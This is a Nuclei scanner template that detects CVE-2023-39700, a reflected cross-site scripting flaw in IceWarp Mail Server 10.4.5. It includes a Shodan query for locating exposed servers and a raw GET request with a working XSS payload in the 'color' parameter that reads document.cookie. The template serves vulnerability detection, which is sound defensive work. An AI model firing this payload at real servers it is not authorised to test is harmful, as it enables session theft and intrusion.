id: CVE-2023-39700 info: name: IceWarp Mail Server v10.4.5 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-39700 - https://cwe.mitre.org/data/definitions/79.html - https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS) - https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_%28XSS%29 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-39700 cwe-id: CWE-79 epss-score: 0.00103 epss-percentile: 0.41562 cpe: cpe:2.3:a:icewarp:mail_server:10.4.5:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: icewarp product: mail_server shodan-query: http.title:"IceWarp Server Administration" tags: cve,cve2023,icewarp,xss,unauth http: - raw: - | GET /webmail/?color=%22%3E%3Cimg%20src=x%20onerror=confirm(document.cookie)%3E HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header, "text/html")' - 'contains(body, ">") && contains(body, "IceWarp")' condition: and # digest: 4a0a0047304502204efc4be9cbbdc8457ef21ebeeeb1d64f901e6bb24a30c2895b1b1e9777edbd4202210098b75afa5290ba8e88590365afb16b7f7c6dfa84e5a176ae0f50cd491f2613c0:922c64590222798bb761d5b6d8e72950